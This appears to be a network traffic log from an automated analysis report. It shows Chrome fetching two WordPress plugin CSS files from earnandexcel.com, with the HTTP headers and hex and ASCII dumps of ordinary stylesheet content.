2024-04-11 21:26:38 UTC	611	OUT	GET /wp-content/plugins/tutor-lms-elementor-addons/assets/css/tutor-elementor.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e59bd0218c4-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fadb-531f" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q9ekUV9bsja%2FME1ftDnzAc5HdCswkLr%2B1jcM94%2BP6RwBzH4zXQouVPW%2ByT%2FkMYTNV711738fEDgO2mUYCHKl1Za3UGVl8nY2rq1pfU5so%2FpANnPmVpt1b1SqLkFHNLkaPao%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	437	IN	Data Raw: 35 33 31 66 0d 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 75 74 6f 72 2d 73 65 67 6d 65 6e 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 3a 30 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 6c 6d 73 2d 6c 65 61 64 2d 69 6e 66 6f 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 6c 6d 73 2d 6c 65 61 64 2d 69 6e 66 6f 20 6c 61 62 65 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a Data Ascii: 531f.elementor-widget-container .tutor-segment-title{font-size:20px;margin:0}.elementor-widget-container .etlms-lead-info{display:flex;align-items:center;flex-direction:row;flex-wrap:wrap}.elementor-widget-container .etlms-lead-info label{margin-bottom:
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 2d 6c 65 66 74 20 2e 65 74 6c 6d 73 2d 6c 65 61 64 2d 69 6e 66 6f 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6c 69 67 6e 2d 6c 65 66 74 20 2e 65 74 6c 6d 73 2d 61 75 74 68 6f 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6c 69 67 6e 2d 6c 65 66 74 20 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 73 70 65 63 69 66 69 63 61 74 69 6f 6e 2d 69 74 65 6d 73 20 6c 69 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6c 69 67 6e 2d 72 69 67 68 74 20 2e 65 74 6c 6d Data Ascii: align-left .etlms-lead-info{justify-content:flex-start}.elementor-align-left .etlms-author{align-items:flex-start;justify-content:flex-start}.elementor-align-left .etlms-course-specification-items li{justify-content:flex-start}.elementor-align-right .etlm
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 73 2d 72 61 74 69 6e 67 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 74 69 74 6c 65 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 6d 61 72 67 69 6e 3a 30 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 70 72 69 63 65 3e 2e 61 6d 6f 75 6e 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 70 72 69 63 65 3e 2e 70 72 69 63 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 65 74 6c 6d 73 2d 63 Data Ascii: s-rating{margin-bottom:0 !important}.etlms-course-title h2{font-size:30px;font-weight:bold;margin:0}.etlms-course-price>.amount{font-size:30px;font-weight:bold;line-height:1}.etlms-course-price>.price{font-size:30px;font-weight:bold;line-height:1}.etlms-c
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 31 30 70 78 7d 2e 65 74 6c 6d 73 2d 70 72 6f 67 72 65 73 73 2d 70 65 72 63 65 6e 74 20 68 34 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 65 74 6c 6d 73 2d 70 72 6f 67 72 65 73 73 2d 6f 75 74 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e 65 74 6c 6d 73 2d 70 72 6f 67 72 65 73 73 2d 6f 75 74 73 69 64 65 20 2e 65 74 6c 6d 73 2d 70 72 6f 67 72 65 73 73 2d 70 65 72 63 65 6e 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 3b 66 6c 65 78 2d 62 61 73 69 73 3a 38 25 7d 2e 65 74 6c 6d 73 2d Data Ascii: -left-radius:10px;border-bottom-left-radius:10px}.etlms-progress-percent h4{margin:0;font-size:18px}.etlms-progress-outside{display:flex}.etlms-progress-outside .etlms-progress-percent{display:flex;align-items:center;margin-left:10px;flex-basis:8%}.etlms-
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 6d 70 6f 72 74 61 6e 74 3b 6c 65 66 74 3a 31 30 70 78 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 63 75 72 72 69 63 75 6c 75 6d 20 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 74 6f 70 69 63 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 31 65 62 66 30 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 63 75 72 72 69 63 75 6c 75 6d 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 6f 70 69 63 73 2d 68 65 61 64 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 63 75 72 72 69 63 75 6c 75 6d 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 6c 65 73 73 6f 6e 73 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 6c 65 73 73 6f 6e 20 68 35 20 69 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 3b 6c Data Ascii: mportant;left:10px}.etlms-course-curriculum .etlms-course-topic{border:1px solid #e1ebf0}.etlms-course-curriculum .tutor-course-topics-header{margin-bottom:0}.etlms-course-curriculum .tutor-course-lessons .tutor-course-lesson h5 i{height:auto;width:auto;l
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 77 72 61 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 35 70 78 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 72 65 76 69 65 77 73 20 2e 72 65 76 69 65 77 2d 74 69 6d 65 2d 6e 61 6d 65 20 70 2e 72 65 76 69 65 77 2d 6d 65 74 61 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 2e 65 74 6c 6d 73 2d 72 65 76 69 65 77 2d 69 6e 64 69 76 69 64 75 61 6c 2d 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 38 65 66 66 31 7d 2e 65 74 6c 6d 73 2d 72 65 76 69 65 77 2d 69 6e 64 69 76 69 64 75 61 6c 2d 69 74 65 6d 20 70 7b 6d 61 72 67 69 6e 3a 30 7d 2e 65 74 6c 6d 73 2d 72 65 76 69 65 77 2d 69 6e 64 69 76 69 64 75 61 6c 2d Data Ascii: wrap{margin-top:25px}.etlms-course-reviews .review-time-name p.review-meta{padding-left:0;padding-top:0}.etlms-review-individual-item{display:flex;padding:30px;border-top:1px solid #e8eff1}.etlms-review-individual-item p{margin:0}.etlms-review-individual-
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 74 65 72 20 2e 65 64 64 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2e 62 75 74 74 6f 6e 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 6c 69 73 74 2d 6d 61 69 6e 2d 77 72 61 70 7b 70 61 64 64 69 6e 67 3a 30 70 78 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 6c 69 73 74 2d 6d 61 69 6e 2d 77 72 61 70 20 2e 70 72 69 63 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 63 6f 6c 75 6d 6e 2d 67 61 70 3a 37 70 78 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 6c 69 73 74 2d 6d 61 69 6e 2d 77 72 61 70 20 2e 74 75 74 6f 72 2d 73 74 61 72 2d 72 61 74 69 6e 67 2d 67 72 6f 75 70 20 69 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 63 6f 6c 6f 72 3a 23 65 64 39 37 30 30 7d 2e 65 74 6c 6d 73 2d Data Ascii: ter .edd-add-to-cart.button{width:100%}.etlms-course-list-main-wrap{padding:0px}.etlms-course-list-main-wrap .price{display:flex;align-items:center;column-gap:7px}.etlms-course-list-main-wrap .tutor-star-rating-group i{font-size:18px;color:#ed9700}.etlms-
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 65 64 20 2e 65 74 6c 6d 73 2d 63 61 72 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 30 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 6c 69 73 74 2d 6f 76 65 72 6c 61 79 65 64 20 2e 65 74 6c 6d 73 2d 63 61 72 64 3a 68 6f 76 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 38 70 78 20 32 38 70 78 20 30 70 78 20 23 64 30 64 30 64 30 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 6c 69 73 74 2d 6f 76 65 72 6c 61 79 65 64 20 2e 65 74 6c 6d 73 2d 63 61 72 64 3a Data Ascii: ed .etlms-card{background-size:cover;background-repeat:no-repeat;border-radius:20px;position:relative;min-height:300px;height:auto}.etlms-course-list-overlayed .etlms-card:hover{box-shadow:0px 8px 28px 0px #d0d0d0}.etlms-course-list-overlayed .etlms-card:
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 30 70 78 20 30 70 78 20 33 30 70 78 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 33 34 70 78 20 32 38 70 78 20 2d 32 30 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 63 61 72 64 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 67 72 69 64 2d 73 74 61 63 6b 65 64 20 2e 74 75 74 6f 72 2d 63 61 72 64 7b 6d 61 72 67 69 6e 3a 33 30 70 78 20 30 70 78 20 33 30 70 78 20 2d 38 30 70 78 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 33 34 70 78 20 32 38 70 78 20 2d 32 30 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 63 61 72 64 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 63 61 72 64 2d 6f 76 65 72 6c 61 79 20 2e Data Ascii: 0px 0px 30px;border:0;box-shadow:0px 34px 28px -20px rgba(0,0,0,.15)}.tutor-course-card.etlms-course-grid-stacked .tutor-card{margin:30px 0px 30px -80px;border:0;box-shadow:0px 34px 28px -20px rgba(0,0,0,.15)}.tutor-course-card.etlms-course-card-overlay .
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 38 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 6c 2d 63 61 72 64 20 2e 65 74 6c 6d 73 2d 63 61 72 64 3a 68 6f 76 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 32 34 70 78 20 33 34 70 78 20 2d 35 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 2e 65 74 6c 6d 73 2d 63 6f 75 72 73 65 6c 2d 73 74 61 63 6b 65 64 20 2e 65 74 6c 6d 73 2d 63 61 72 64 2e 68 6f 76 65 72 2d 61 6e 69 6d 61 74 69 6f 6e 20 2e 65 74 6c 6d 73 2d 63 61 72 6f Data Ascii: fy-content:space-between;height:100%;box-shadow:0px 2px 4px rgba(0,0,0,.08);border-radius:8px;overflow:hidden}.etlms-coursel-card .etlms-card:hover{box-shadow:0px 24px 34px -5px rgba(0,0,0,.1)}.etlms-coursel-stacked .etlms-card.hover-animation .etlms-caro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49737	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	590	OUT	GET /wp-content/plugins/ele-custom-skin/assets/css/ecs-style.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	934	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e59df287c93-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"63ecad57-235c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 15 Feb 2023 10:00:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Ga5Y29quO5ig%2FfBzhKn%2BCu5FYlgTEkTTz%2BNHoFVxkm6Jm%2FUdZ9Npy4vd6S9ULajK0G4GGg9n3%2B4l1fogsX%2Fs9PlHsjnEegSUjWUGQn0kp5eBbX4e3ve%2BFNzdVoZV1XAaLM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	435	IN	Data Raw: 32 33 35 63 0d 0a 2f 2a 20 20 45 6c 65 6d 65 6e 74 6f 72 20 43 75 73 74 6f 6d 20 53 6b 69 6e 20 20 20 20 2a 2f 0a 2f 2a 20 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 75 64 61 73 74 65 72 2e 63 6f 6d 20 2a 2f 0a 2e 65 63 73 2d 70 6f 73 74 2d 6c 6f 6f 70 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 61 67 65 2d 74 69 74 6c 65 7b 0a 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 65 63 73 2d 6c 6f 6f 70 2d 70 72 65 76 69 65 77 7b 0a 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 67 68 74 67 72 61 79 3b 0a 20 20 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 31 70 78 20 67 72 61 79 3b 0a 20 20 70 61 64 64 69 6e 67 3a 35 70 78 3b 0a 7d 0a 2e 65 63 73 2d 6c 6f 6f 70 2d 70 72 65 Data Ascii: 235c/* Elementor Custom Skin // https://www.dudaster.com */.ecs-post-loop .elementor-page-title{ display:block;}.ecs-loop-preview{ height:100%; width:100%; background:lightgray; border:solid 1px gray; padding:5px;}.ecs-loop-pre
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 35 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 32 39 31 39 31 3b 0a 7d 0a 0a 2e 65 63 73 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 65 6c 65 2d 6c 6f 6f 70 2d 69 74 65 6d 2c 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 65 6c 65 2d 6c 6f 6f 70 2d 69 74 65 6d 20 3e 20 2e 65 6c 65 6d 65 Data Ascii: kground-color: #808080; font-size: 45px; text-align: center; vertical-align: middle; font-weight: 900; color: #929191;}.ecs-link-wrapper{ cursor: pointer;}.elementor-widget-ele-loop-item, .elementor-widget-ele-loop-item > .eleme
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0a 7d 0a 0a 2e 62 61 72 6c 6f 61 64 2d 62 6f 72 64 65 72 20 7b 0a 09 62 6f 72 64 65 72 3a 20 33 70 78 20 73 6f 6c 69 64 20 72 67 62 28 33 34 2c 33 34 2c 33 34 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 0a 09 74 6f 70 3a 20 2d 35 30 25 3b 0a 09 70 61 64 64 69 6e 67 3a 20 34 70 78 20 33 70 78 3b 0a 7d 0a 0a 2e 62 61 72 6c 6f 61 64 2d 77 68 69 74 65 73 70 61 63 65 20 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 Data Ascii: ;position: relative;display:inline-block; font-size:16px; padding:10px;}.barload-border {border: 3px solid rgb(34,34,34);height: 100%;width: 100%;position: relative;top: -50%;padding: 4px 3px;}.barload-whitespace {overflow: h
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 65 63 73 2d 6c 6c 2d 62 67 63 6f 6c 6f 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 2a 2f 0a 0a 2e 62 61 72 6c 6f 61 64 2d 77 72 61 70 70 65 72 20 2c 2e 62 61 72 6c 6f 61 64 2d 77 72 61 70 70 65 72 20 2a 20 7b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 0a 7d 20 0a 2e 62 61 6c 6c 73 6c 6f 61 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7d 0a 09 0a 2e 62 61 6c 6c 73 6c 6f 61 64 2d 63 6f 6e 74 61 69 6e 65 72 20 64 69 76 20 7b 0a 09 77 69 64 74 68 3a 20 31 65 6d 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 3b 0a 09 70 6f 73 69 Data Ascii: class="ecs-ll-bgcolor"></div></div>/.barload-wrapper ,.barload-wrapper { box-sizing:content-box;} .ballsload-container{ font-size:16px; padding:10px; position:relative;}.ballsload-container div {width: 1em;height: 1em;posi
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 20 69 6e 66 69 6e 69 74 65 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 2c 20 30 2e 36 34 2c 20 30 2e 38 31 2c 20 30 2e 32 33 29 3b 0a 09 09 2d 6f 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 62 61 6c 6c 73 6c 6f 61 64 2d 6d 6f 76 65 20 32 2e 33 73 20 33 34 35 6d 73 20 69 6e 66 69 6e 69 74 65 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 2c 20 30 2e 36 34 2c 20 30 2e 38 31 2c 20 30 2e 32 33 29 3b 0a 09 09 2d 6d 73 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 62 61 6c 6c 73 6c 6f 61 64 2d 6d 6f 76 65 20 32 2e 33 73 20 33 34 35 6d 73 20 69 6e 66 69 6e 69 74 65 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 2c 20 30 2e 36 34 2c 20 30 2e 38 31 2c 20 30 2e 32 33 29 3b 0a 09 09 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 62 61 6c 6c 73 6c 6f 61 64 2d Data Ascii: infinite cubic-bezier(0.2, 0.64, 0.81, 0.23);-o-animation: ballsload-move 2.3s 345ms infinite cubic-bezier(0.2, 0.64, 0.81, 0.23);-ms-animation: ballsload-move 2.3s 345ms infinite cubic-bezier(0.2, 0.64, 0.81, 0.23);-webkit-animation: ballsload-
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 6e 67 42 61 6c 6c 47 22 20 63 6c 61 73 73 3d 22 65 63 73 2d 6c 61 7a 79 2d 6c 6f 61 64 2d 61 6e 69 6d 61 74 69 6f 6e 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 76 69 6e 67 42 61 6c 6c 4c 69 6e 65 47 20 20 65 63 73 2d 6c 6c 2d 62 67 63 6f 6c 6f 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 6d 6f 76 69 6e 67 42 61 6c 6c 47 5f 31 22 20 63 6c 61 73 73 3d 22 6d 6f 76 69 6e 67 42 61 6c 6c 47 20 65 63 73 2d 6c 6c 2d 62 67 63 6f 6c 6f 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 2a 2f 0a 0a 23 6d 6f 76 69 6e 67 42 61 6c 6c 47 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 32 35 30 70 78 3b 0a 09 68 65 69 67 68 74 3a 31 39 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 Data Ascii: ngBallG" class="ecs-lazy-load-animation"><div class="movingBallLineG ecs-ll-bgcolor"></div><div id="movingBallG_1" class="movingBallG ecs-ll-bgcolor"></div></div>*/#movingBallG{position:relative;width:250px;height:19px;display:inline-block;
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 0a 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 5f 6d 6f 76 69 6e 67 42 61 6c 6c 47 7b 0a 09 30 25 7b 0a 09 09 6c 65 66 74 3a 30 70 78 3b 0a 09 7d 0a 0a 09 35 30 25 7b 0a 09 09 6c 65 66 74 3a 32 33 30 70 78 3b 0a 09 7d 0a 0a 09 31 30 30 25 7b 0a 09 09 6c 65 66 74 3a 30 70 78 3b 0a 09 7d 0a 7d 0a 0a 40 2d 6f 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 5f 6d 6f 76 69 6e 67 42 61 6c 6c 47 7b 0a 09 30 25 7b 0a 09 09 6c 65 66 74 3a 30 70 78 3b 0a 09 7d 0a 0a 09 35 30 25 7b 0a 09 09 6c 65 66 74 3a 32 33 30 70 78 3b 0a 09 7d 0a 0a 09 31 30 30 25 7b 0a 09 09 6c 65 66 74 3a 30 70 78 3b 0a 09 7d 0a 7d 0a 0a 40 2d 6d 73 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 5f 6d 6f 76 69 6e 67 42 61 6c 6c Data Ascii: tion:normal;}@keyframes bounce_movingBallG{0%{left:0px;}50%{left:230px;}100%{left:0px;}}@-o-keyframes bounce_movingBallG{0%{left:0px;}50%{left:230px;}100%{left:0px;}}@-ms-keyframes bounce_movingBall
